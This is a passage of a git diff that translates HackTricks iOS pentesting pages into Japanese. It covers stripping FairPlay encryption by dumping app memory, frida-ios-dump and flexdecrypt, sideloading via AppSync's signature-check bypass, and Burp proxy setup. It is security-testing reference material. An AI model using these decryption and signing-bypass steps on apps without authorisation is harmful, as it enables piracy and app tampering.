downloader](https://www.npmjs.com/package/itms-services)ツールを使用して、OTA配信URLからIPAをダウンロードすることができます。npmを使用してインストールします: -You can use the [ITMS services asset downloader](https://www.npmjs.com/package/itms-services) tool to download the IPA from an OTA distribution URL. Install it via npm: +```bash +npm install -g itms-services +``` +次に、以下のコマンドを使用して、OTA配信URLからIPAをダウンロードします: + +```bash +itms-services download -o +``` + +``にはOTA配信URLを、``には出力ファイルのパスを指定します。 ```bash $ npm install -g itms-services ``` - -Save the IPA file locally with the following command: - +次のコマンドを使用して、IPAファイルをローカルに保存します。 ```bash # itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa ``` +## アプリのバイナリの取得 -## Acquiring the App Binary +1. **IPAから**: -1. **From an IPA**: +IPAを持っている場合(おそらくすでに復号化されたアプリのバイナリを含む)、それを解凍して準備完了です。アプリのバイナリはメインバンドルディレクトリ(.app)にあります。例:`Payload/Telegram X.app/Telegram X`。プロパティリストの抽出の詳細については、次のサブセクションを参照してください。 - If you have the IPA (probably including an already decrypted app binary), unzip it and you are ready to go. The app binary is located in the main bundle directory (.app), e.g. `Payload/Telegram X.app/Telegram X`. See the following subsection for details on the extraction of the property lists. +> macOSのFinderでは、.appディレクトリは右クリックして「パッケージの内容を表示」を選択することで開かれます。ターミナルでは、単に`cd`コマンドでディレクトリに移動できます。 - > On macOS's Finder, .app directories are opened by right-clicking them and selecting "Show Package Content". On the terminal you can just `cd` into them. -2. From a **Jailbroken device**: +2. **ジェイルブレイクされたデバイスから**: - If you don't have the original IPA, then you need a jailbroken device where you will **install the app** (e.g. via App Store). Once installed, you need to **extract the app binary from memory and rebuild the IPA file**. Because of DRM, the app binary file is encrypted when it is stored on the iOS device, so simply pulling it from the Bundle (either through SSH or Objection) will not be sufficient to reverse engineer it (read next section). +元のIPAを持っていない場合、アプリを**インストールするためのジェイルブレイクされたデバイス**が必要です(例:App Store経由で)。インストール後、メモリからアプリのバイナリを**抽出し、IPAファイルを再構築する**必要があります。DRMのため、iOSデバイスに保存されるときにアプリのバイナリファイルは暗号化されるため、単にバンドルから取得するだけでは逆アセンブルするには十分ではありません(次のセクションを参照)。 -## Decryption (Manual) +## 復号化(手動) -Unlike an Android Application, the binary of an iOS app **can only be disassembled** and not decompiled.\ -When an application is submitted to the app store, Apple first verifies the app conduct and before releasing it to the app-store, **Apple encrypts the binary using** [**FairPlay**](https://developer.apple.com/streaming/fps/). So the binary download from the app store is encrypted complicating ting the reverse-engineering tasks. +iOSアプリのバイナリは、Androidアプリとは異なり、**逆アセンブル**のみが可能であり、逆コンパイルはできません。\ +アプリがApp Storeに提出される際、Appleはまずアプリの動作を検証し、アプリストアにリリースする前にバイナリを**[FairPlay](https://developer.apple.com/streaming/fps/)**を使用して暗号化します。そのため、アプリストアからのバイナリのダウンロードは暗号化されており、逆アセンブルの作業が複雑になります。 -However, note that there are other **third party software that can be used to obfuscate** the resulting binaries. +ただし、他の**サードパーティのソフトウェアを使用してバイナリを難読化**することもできることに注意してください。 -In order to run the encrypted binary, the device needs to decrypt it in memory. Then, it's possible to **dump the decrypted binary from the memory**. - -First, check if the binary is compiled with the PIE (Position Independent Code) flag: +暗号化されたバイナリを実行するためには、デバイスがメモリ内でそれを復号化する必要があります。その後、メモリから**復号化されたバイナリをダンプ**することが可能です。 +まず、バイナリがPIE(Position Independent Code)フラグでコンパイルされているかどうかを確認します: ```bash otool -Vh Original_App #Check the last word of the last line of this code Home: Mach header - magic cputype cpusubtype caps filetype ncmds sizeofcmds flags +magic cputype cpusubtype caps filetype ncmds sizeofcmds flags MH_MAGIC_64 X86_64 ALL 0x00 EXECUTE 47 6080 NOUNDEFS DYLDLINK TWOLEVEL PIE ``` - -If it's set you can use the script [`change_macho_flags.py`](https://chromium.googlesource.com/chromium/src/+/49.0.2623.110/build/mac/change\_mach\_o\_flags.py) to remove it with python2: - +もし設定されている場合は、Python2を使用してスクリプト[`change_macho_flags.py`](https://chromium.googlesource.com/chromium/src/+/49.0.2623.110/build/mac/change\_mach\_o\_flags.py)を使用してそれを削除することができます。 ```bash python change_mach_o_flags.py --no-pie Original_App otool -Vh Hello_World Hello_World: Mach header - magic cputype cpusubtype caps filetype ncmds sizeofcmds flags - MH_MAGIC ARM V7 0x00 EXECUTE 22 2356 NOUNDEFS DYLDLINK TWOLEVEL MH_NO_HEAP_EXECUTION +magic cputype cpusubtype caps filetype ncmds sizeofcmds flags +MH_MAGIC ARM V7 0x00 EXECUTE 22 2356 NOUNDEFS DYLDLINK TWOLEVEL MH_NO_HEAP_EXECUTION ``` - -Now that the PIE flag isn't set, the OS will load the program at a **fixed starting location** every-time. In order to find this **location** you can use: - +PIEフラグが設定されていないため、OSはプログラムを毎回**固定の開始位置**でロードします。この**位置**を見つけるためには、次の方法を使用できます: ```bash otool -l Original_App | grep -A 3 LC_SEGMENT | grep -A 1 __TEXT - segname __TEXT - vmaddr 0x00004000 +segname __TEXT +vmaddr 0x00004000 ``` - -Then, it's necessary to extract the the memory range that needs to be dumped: - +次に、ダンプする必要のあるメモリ範囲を抽出する必要があります。 ```bash otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO - cmd LC_ENCRYPTION_INFO - cmdsize 20 - cryptoff 16384 - cryptsize 17416192 - cryptid 0 +cmd LC_ENCRYPTION_INFO +cmdsize 20 +cryptoff 16384 +cryptsize 17416192 +cryptid 0 ``` +**`cryptoff`**の値は、暗号化されたコンテンツの開始アドレスを示し、**`cryptsize`**は暗号化されたコンテンツのサイズを示します。 -The value of **`cryptoff`** indicated the starting address of the encrypted content and the **`cryptsize`** indicates the size of the encrypted content. - -So, the `start address` to dump will be `vmaddr + cryptoff` and the `end address` will be the `start address + cryptsize`\ -In this case: `start_address = 0x4000 + 0x4000 = 0x8000` __ and `end_address = 0x8000 + 0x109c000 = 0x10a4000` - -With this information it's just necessary to run the application in the jailbroken device, attach to the process with gdb (`gdb -p `) and dump the memory: +したがって、ダンプするための`開始アドレス`は`vmaddr + cryptoff`であり、`終了アドレス`は`開始アドレス + cryptsize`です。\ +この場合、`開始アドレス = 0x4000 + 0x4000 = 0x8000` および `終了アドレス = 0x8000 + 0x109c000 = 0x10a4000` となります。 +この情報を使用して、ジェイルブレイクされたデバイスでアプリケーションを実行し、gdb (`gdb -p `)でプロセスにアタッチし、メモリをダンプするだけです。 ```bash dump memory dump.bin 0x8000 0x10a4000 ``` - -Congrats! You have decrypted the encrypted section in dump.bin. Now **transfer this dump to your computer and overwrite the encrypted section with the decrypted** one: - +おめでとうございます!dump.binの暗号化されたセクションを解読しました。今、このdumpをコンピュータに転送し、暗号化されたセクションを解読したもので上書きしてください: ```bash dd bs=1 seek= conv=notrunc if=dump.bin of=Original_App ``` +完了するためにもう一つのステップがあります。アプリケーションはまだメタデータで**暗号化**されていると**示しています**が、実際には**暗号化されていません**。そのため、実行時にデバイスは既に復号化されたセクションを再度復号化しようとしますが、失敗します。 -There is one more step to complete. The application is still **indicating** in its metadata that it's **encrypted**, but it **isn't**. Then, when executed, the device will try to decrypt the already decrypted section and it's going to fail.\ -However, you can use tools like [**MachOView**](https://sourceforge.net/projects/machoview/) to change this info. Just open the binary and set the **cryptid** to 0: +ただし、[**MachOView**](https://sourceforge.net/projects/machoview/)のようなツールを使用して、この情報を変更することができます。バイナリを開き、**cryptid**を0に設定するだけです。 ![](<../../.gitbook/assets/image (470).png>) -## Decryption (Automatically) +## 復号化(自動的に) ### frida-ios-dump -You can use tools like [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) to **automatically remove the encryption and an app**. +[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump)のようなツールを使用して、**暗号化を自動的に解除し、アプリ**をダンプすることができます。 -First, make sure that the configuration in **Frida-ios-dump** `dump.py` is set to either localhost with port 2222 when using **iproxy**, or to the actual IP address and port of the device from which you want to dump the binary. - -Now you can safely use the tool to **enumerate** the **apps** **installed**: +まず、**Frida-ios-dump**の`dump.py`で設定が正しく行われていることを確認してください。**iproxy**を使用する場合は、localhostとポート2222に設定されているか、ダンプしたいデバイスの実際のIPアドレスとポートに設定されていることを確認してください。 +これで、ツールを安全に使用して**インストールされているアプリ**を**列挙**することができます。 ```bash $ python dump.py -l - PID Name Identifier +PID Name Identifier ---- --------------- ------------------------------------- - 860 Cydia com.saurik.Cydia +860 Cydia com.saurik.Cydia 1130 Settings com.apple.Preferences - 685 Mail com.apple.mobilemail - 834 Telegram ph.telegra.Telegraph - - Stocks com.apple.stocks - ... +685 Mail com.apple.mobilemail +834 Telegram ph.telegra.Telegraph +- Stocks com.apple.stocks +... ``` - -and you can **dump** **one** of the listed binaries: - +そして、リストされているバイナリの**1つ**を**ダンプ**することができます: ```bash $ python3 dump.py -u "root" -p "" ph.telegra.Telegraph @@ -331,60 +316,52 @@ libswiftCoreData.dylib.fid: 100%|██████████| 82.5k/82.5k [00 5.m4a: 80.9MB [00:14, 5.85MB/s] 0.00B [00:00, ?B/s]Generating "Telegram.ipa" ``` - -After this, the `Telegram.ipa` file will be created in your current directory. You can validate the success of the dump by removing the app and reinstalling it (e.g. using [**ios-deploy**](https://github.com/ios-control/ios-deploy) `ios-deploy -b Telegram.ipa`). Note that this will only work on jailbroken devices, as otherwise the signature won't be valid. +この後、`Telegram.ipa`ファイルが現在のディレクトリに作成されます。アプリを削除して再インストールすることで、ダンプの成功を確認できます(例:[**ios-deploy**](https://github.com/ios-control/ios-deploy) `ios-deploy -b Telegram.ipa`を使用して再インストール)。ただし、これはジェイルブレイクされたデバイスでのみ機能します。それ以外の場合、署名が無効になります。 ### flexdecrypt -In order to **obtain the ipa file** from an installed application you can also use the tool [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) or a wrapper of the tool called [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac)**.**\ -In any case you will need to **install flexdecrypt in the device** running something like: - +インストールされたアプリケーションから**ipaファイルを取得**するために、ツール[**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt)またはそのツールのラッパーである[**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac)**を使用することもできます。**\ +いずれの場合も、デバイスに**flexdecryptをインストールする必要があります**。次のような方法で実行します: ```markup wget https://github.com/JohnCoates/flexdecrypt/releases/download/1.1/flexdecrypt.deb dpkg -i flexdecrypt.deb rm flexdecrypt.deb ``` - -and in order to use **flexdump**: - +そして、**flexdump**を使用するためには、以下の手順を実行します: ```bash apt install zip unzip wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump flexdump list #List apps flexdump dump Twitter.app #Create .ipa file from app ``` - ### r2flutch -[**r2flutch**](https://github.com/as0ler/r2flutch) is a tool that uses **radare** and **frida** to **decrypt** and **dump ios apps>** +[**r2flutch**](https://github.com/as0ler/r2flutch)は、**radare**と**frida**を使用してiOSアプリを**復号化**および**ダンプ**するためのツールです。 -See the **github** for more information. +詳細については、**github**を参照してください。 -# Installing Apps +# アプリのインストール -When you install an application without using Apple's App Store, this is called **sideloading**. There are various ways of sideloading which are described below. On the iOS device, the actual installation process is then handled by the **installd** **daemon**, which will **unpack** and **install** the application. To integrate app services or be installed on an iOS device, all **applications must be signed with a certificate issued by Apple**. This means that the application can be installed only after successful code signature verification. On a jailbroken phone, however, you can **circumvent this security feature with** [**AppSync**](http://repo.hackyouriphone.org/appsyncunified), a package available in the Cydia store. It contains numerous useful applications that leverage jailbreak-provided root privileges to execute advanced functionality. **AppSync is a tweak that patches installd**, allowing the installation of fake-signed IPA packages. +AppleのApp Storeを使用せずにアプリをインストールする場合、これは**sideloading**と呼ばれます。以下に説明されているさまざまなsideloadingの方法があります。iOSデバイス上では、実際のインストールプロセスは**installdデーモン**によって処理され、アプリケーションが**展開**および**インストール**されます。アプリケーションがアプリサービスに統合されるか、iOSデバイスにインストールされるためには、すべての**アプリケーションはAppleによって発行された証明書で署名されている必要があります**。これは、コード署名の検証に成功した後にのみアプリケーションをインストールできることを意味します。ただし、脱獄された電話では、Cydiaストアで利用可能な[**AppSync**](http://repo.hackyouriphone.org/appsyncunified)を使用して、このセキュリティ機能を**回避**することができます。これには、脱獄で提供されるルート権限を利用して高度な機能を実行する多くの便利なアプリケーションが含まれています。**AppSyncはinstalldをパッチするためのティーク**であり、偽の署名されたIPAパッケージのインストールを許可します。 -Different methods exist for installing an IPA package onto an iOS device, which are described in detail below. +iOSデバイスにIPAパッケージをインストールするためのさまざまな方法があり、以下で詳しく説明します。 -> Please note that iTunes is no longer available in macOS Catalina. If you are using an older version of macOS, iTunes is still available but since iTunes 12.7 it is not possible to install apps. +> macOS CatalinaではiTunesは利用できなくなりました。古いバージョンのmacOSを使用している場合は、iTunesはまだ利用できますが、iTunes 12.7以降はアプリのインストールができません。 ### Cydia Impactor -[Cydia Impactor](http://www.cydiaimpactor.com) was originally created to jailbreak iPhones, but has been rewritten to sign and install IPA packages to iOS devices via sideloading (and even APK files to Android devices). Cydia Impactor is available for Windows, macOS and Linux. A [step by step guide and troubleshooting steps are available on yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/). +[Cydia Impactor](http://www.cydiaimpactor.com)は元々iPhoneの脱獄を目的として作成されましたが、IPAパッケージをiOSデバイスにサイドロード(およびAPKファイルをAndroidデバイスにさえ)署名してインストールするために書き直されました。Cydia ImpactorはWindows、macOS、Linux用に利用可能です。[yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/)には、ステップバイステップのガイドとトラブルシューティング手順が用意されています。 ### libimobiledevice -On Linux and also macOS, you can alternatively use [libimobiledevice](https://www.libimobiledevice.org), a cross-platform software protocol library and a set of tools for native communication with iOS devices. This allows you to install apps over a USB connection by executing ideviceinstaller. The connection is implemented with the USB multiplexing daemon [usbmuxd](https://www.theiphonewiki.com/wiki/Usbmux), which provides a TCP tunnel over USB. - -The package for libimobiledevice will be available in your Linux package manager. On macOS you can install libimobiledevice via brew: +LinuxおよびmacOSでも、[libimobiledevice](https://www.libimobiledevice.org)を使用することもできます。これは、iOSデバイスとのネイティブ通信のためのクロスプラットフォームソフトウェアプロトコルライブラリおよびツールのセットです。これにより、ideviceinstallerを実行することでUSB接続経由でアプリをインストールすることができます。接続は、USB上のTCPトンネルを提供するUSBマルチプレクシングデーモン[usbmuxd](https://www.theiphonewiki.com/wiki/Usbmux)で実装されています。 +libimobiledeviceのパッケージはLinuxパッケージマネージャで利用できます。macOSでは、brewを使用してlibimobiledeviceをインストールできます。 ```bash $ brew install libimobiledevice $ brew install ideviceinstaller ``` - -After the installation you have several new command line tools available, such as `ideviceinfo`, `ideviceinstaller` or `idevicedebug`. - +インストール後、`ideviceinfo`、`ideviceinstaller`、`idevicedebug`など、いくつかの新しいコマンドラインツールが利用可能になります。 ```bash # The following command will show detailed information about the iOS device connected via USB. $ ideviceinfo @@ -395,78 +372,67 @@ Install: Complete # The following command will start the app in debug mode, by providing the bundle name. The bundle name can be found in the previous command after "Installing". $ idevicedebug -d run OWASP.iGoat-Swift ``` - ### ipainstaller -The IPA can also be directly installed on the iOS device via the command line with [ipainstaller](https://github.com/autopear/ipainstaller). After copying the file over to the device, for example via scp, you can execute ipainstaller with the IPA's filename: - +[ipainstaller](https://github.com/autopear/ipainstaller)を使用して、IPAファイルをiOSデバイスに直接インストールすることもできます。例えば、scpを使用してファイルをデバイスにコピーした後、IPAファイルのファイル名を指定してipainstallerを実行することができます。 ```bash $ ipainstaller App_name.ipa ``` - ### ios-deploy -On macOS you can also use the **ios-deploy** tool to install iOS apps from the command line. You'll need to unzip your IPA since ios-deploy uses the app bundles to install apps. - +macOSでは、**ios-deploy**ツールを使用してコマンドラインからiOSアプリをインストールすることもできます。ios-deployはアプリバンドルを使用してアプリをインストールするため、IPAファイルを解凍する必要があります。 ```bash $ unzip Name.ipa $ ios-deploy --bundle 'Payload/Name.app' -W -d -v ``` - -After the app is installed on the iOS device, you can simply start it by adding the `-m` flag which will directly start debugging without installing the app again. - +iOSデバイスにアプリがインストールされた後、アプリを再インストールすることなく、単純に`-m`フラグを追加して起動することができます。これにより、デバッグが直接開始されます。 ```bash $ ios-deploy --bundle 'Payload/Name.app' -W -d -v -m ``` - ### Xcode -It is also possible to use the Xcode IDE to install iOS apps by doing the following steps: +Xcode IDEを使用してiOSアプリをインストールすることも可能です。以下の手順を実行します。 -1. Start Xcode -2. Select **Window/Devices and Simulators** -3. Select the connected iOS device and click on the **+** sign in **Installed Apps**. +1. Xcodeを起動します。 +2. **Window/Devices and Simulators**を選択します。 +3. 接続されたiOSデバイスを選択し、**Installed Apps**内の**+**マークをクリックします。 -### Allow Application Installation on a Non-iPad Device - -Sometimes an application can require to be used on an iPad device. If you only have iPhone or iPod touch devices then you can force the application to accept to be installed and used on these kinds of devices. You can do this by changing the value of the property **UIDeviceFamily** to the value **1** in the **Info.plist** file. +### iPad以外のデバイスでのアプリケーションのインストールを許可する +アプリケーションがiPadデバイスでの使用を要求する場合、iPhoneやiPod touchデバイスしか持っていない場合でも、この種のデバイスでのインストールと使用を強制することができます。これは、**Info.plist**ファイルの**UIDeviceFamily**プロパティの値を**1**に変更することで行えます。 ```markup - UIDeviceFamily - - 1 - +UIDeviceFamily + +1 + ``` +この値を変更すると、IPAファイルの元の署名が破損するため、署名の検証が無効になっていないデバイスにインストールするために、アップデート後にIPAを再署名する必要があります。 -It is important to note that changing this value will break the original signature of the IPA file so you need to re-sign the IPA, after the update, in order to install it on a device on which the signature validation has not been disabled. +このバイパスは、アプリケーションが最新のiPadに固有の機能を必要とする場合、iPhoneやiPodが少し古い場合には機能しないかもしれません。 -This bypass might not work if the application requires capabilities that are specific to modern iPads while your iPhone or iPod is a bit older. - -Possible values for the property [UIDeviceFamily](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple\_ref/doc/uid/TP40009252-SW11) can be found in the Apple Developer documentation. +[UIDeviceFamily](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple_ref/doc/uid/TP40009252-SW11)のプロパティには、Apple Developerドキュメントで見つけることができる可能な値があります。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、**[telegramグループ](https://t.me/peass)**に参加するか、**Twitter**で**フォロー**するか、**🐦**で私に**@carlospolopm**をフォローしてください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md index 07abee349..f8e1e9685 100644 --- a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md +++ b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md @@ -1,130 +1,122 @@ -# Burp Suite Configuration for iOS +# iOS用のBurp Suiteの設定
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Burp Cert Installation in physical iOS +## 物理的なiOSでのBurp証明書のインストール -You can install [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) **for help installing the Burp Certificate, configure the proxy and perform SSL Pinning.**\ -Or you can manually follow the next steps: +[**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing)をインストールして、Burp証明書のインストール、プロキシの設定、およびSSLピニングの実行をサポートします。\ +または、次の手順に従って手動で行うこともできます。 -* Configure **Burp** as the iPhone **proxy in \_Settings**_\*\* --> \*\*_**Wifi**_\*\* --> \*\*_**Click the network**_\*\* --> \*\*_**Proxy**\_ -* Access `http://burp` and download the certificate -* Access _**Setting**_ --> _**General**_ --> _**VPN & Device Management**_ --> Select Downloaded profile and Install it (you will be asked your code) -* Access _**Settings**_ --> _**General**_ --> _**About**_ --> _**Certificate Trust Settings**_ and enable PortSwigger CA +* **Burp**をiPhoneの**プロキシとして設定**するには、**\_Settings**_\*\* --> \*\*_**Wifi**_\*\* --> \*\*_**ネットワークをクリック**_\*\* --> \*\*_**プロキシ**\_ +* `http://burp`にアクセスして証明書をダウンロードします +* _**設定**_ --> _**一般**_ --> _**VPNとデバイス管理**_ --> ダウンロードしたプロファイルを選択してインストールします(コードが要求されます) +* _**設定**_ --> _**一般**_ --> _**情報**_ --> _**証明書信頼設定**_ でPortSwigger CAを有効にします -### Setting up an Interception Proxy via localhost +### localhostを介したインターセプトプロキシの設定 -Setting up Burp to proxy your traffic is pretty straightforward. We assume that both your iOS device and host computer are connected to a Wi-Fi network that permits client-to-client traffic. If client-to-client traffic is not permitted, you can use usbmuxd to connect to Burp via USB. +トラフィックをプロキシするためにBurpを設定するのは非常に簡単です。iOSデバイスとホストコンピュータがクライアント間トラフィックを許可するWi-Fiネットワークに接続されていることを前提としています。クライアント間トラフィックが許可されていない場合は、usbmuxdを使用してUSB経由でBurpに接続することができます。 -PortSwigger provides a good [tutorial on setting up an iOS device to work with Burp](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) and a [tutorial on installing Burp's CA certificate to an iOS device](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device). +PortSwiggerは、iOSデバイスをBurpと連携させるための[チュートリアル](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp)と、iOSデバイスにBurpのCA証明書をインストールするための[チュートリアル](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device)を提供しています。 -#### Using Burp via USB on a Jailbroken Device +#### ルート化されたデバイスでUSB経由でBurpを使用する -When doing dynamic analysis, it's interesting to use the SSH connection to route our traffic to Burp that is running on our computer. Let's get started: - -First we need to use **iproxy** to make SSH from iOS available on localhost. +動的解析を行う際には、トラフィックをコンピュータ上で実行しているBurpにルーティングするためにSSH接続を使用することが興味深いです。始めましょう: +まず、iOSからlocalhostで利用可能なSSHを作成するために**iproxy**を使用する必要があります。 ```bash $ iproxy 2222 22 waiting for connection ``` - -The next step is to make a remote port forwarding of port 8080 on the iOS device to the localhost interface on our computer to port 8080. - +次のステップは、iOSデバイス上のポート8080のリモートポートフォワーディングを、コンピュータ上のlocalhostインターフェースのポート8080に設定することです。 ```bash ssh -R 8080:localhost:8080 root@localhost -p 2222 ``` +iOSデバイスでBurpにアクセスできるようになりました。iOSのSafariを開き、**127.0.0.1:8080**に移動すると、Burp Suiteのページが表示されます。また、このタイミングでiOSデバイスにBurpのCA証明書を[インストール](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device)することもおすすめです。 -You should now be able to reach Burp on your iOS device. Open Safari on iOS and go to **127.0.0.1:8080** and you should see the Burp Suite Page. This would also be a good time to [install the CA certificate](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) of Burp on your iOS device. +最後のステップは、iOSデバイスでプロキシをグローバルに設定することです。 -The last step would be to set the proxy globally on your iOS device: +1. **設定** -> **Wi-Fi**に移動します。 +2. _どの_ Wi-Fiに接続します(実際にはどのWi-Fiに接続しても構いません。ポート80と443のトラフィックはUSB経由でルーティングされます。Wi-Fiのプロキシ設定を使用してグローバルなプロキシを設定するだけなので) +3. 接続したWi-Fiの右側にある小さな青いアイコンをクリックします。 +4. **手動**を選択してプロキシを設定します。 +5. **サーバー**として127.0.0.1を入力します。 +6. **ポート**として8080を入力します。 -1. Go to **Settings** -> **Wi-Fi** -2. Connect to _any_ Wi-Fi (you can literally connect to any Wi-Fi as the traffic for port 80 and 443 will be routed through USB, as we are just using the Proxy Setting for the Wi-Fi so we can set a global Proxy) -3. Once connected click on the small blue icon on the right side of the connect Wi-Fi -4. Configure your Proxy by selecting **Manual** -5. Type in 127.0.0.1 as **Server** -6. Type in 8080 as **Port** +### ネットワークの完全な監視/スニッフィング -### Full Network Monitoring/Sniffing - -If you need to **monitor something different from HTTP communications** you can sniff all the device traffic with **wireshark**.\ -You can remotely sniff all traffic in real-time on iOS by [creating a Remote Virtual Interface](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819) for your iOS device. First make sure you have **Wireshark** **installed** on your macOS host computer. - -1. **Connect** your iOS device to your macOS host computer via USB. -2. You would need to know the **UDID of your iOS device**, before you can start sniffing. Open the Terminal on macOS and enter the following command, filling in the UDID of your iOS device. +もしHTTP通信以外のものを**監視する必要がある**場合、**Wireshark**を使用してデバイスのトラフィックをスニッフィングすることができます。\ +iOSデバイスのトラフィックをリアルタイムでリモートでスニッフィングするには、[iOSデバイスのリモート仮想インターフェースを作成](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819)する必要があります。まず、macOSホストコンピュータに**Wireshark**が**インストール**されていることを確認してください。 +1. iOSデバイスをUSB経由でmacOSホストコンピュータに**接続**します。 +2. スニッフィングを開始する前に、iOSデバイスの**UDID**を知る必要があります。macOSのターミナルを開き、以下のコマンドを入力し、iOSデバイスのUDIDを入力します。 ```bash $ rvictl -s Starting device [SUCCEEDED] with interface rvi0 ``` - -1. Launch **Wireshark** and select "**rvi0**" as the capture interface. -2. Filter the traffic with Capture Filters in Wireshark to display what you want to monitor (for example, all HTTP traffic sent/received via the IP address 192.168.1.1). - +1. 